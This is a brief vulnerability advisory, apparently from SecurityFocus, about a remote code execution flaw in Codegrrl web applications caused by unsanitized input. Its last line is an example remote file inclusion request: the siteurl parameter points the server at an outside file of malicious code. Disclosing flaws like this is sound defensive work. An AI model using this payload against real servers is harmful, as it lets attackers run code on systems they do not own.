source: https://www.securityfocus.com/bid/15417/info

Unspecified Codegrrl applications are prone to a remote arbitrary code execution vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this to execute arbitrary code in the context of the Web server process. This may facilitate a compromise of the system; other attacks are also possible.

http://www.example.com/protection.php?action=logout&siteurl=http://www.example.com/malicoius-code.txt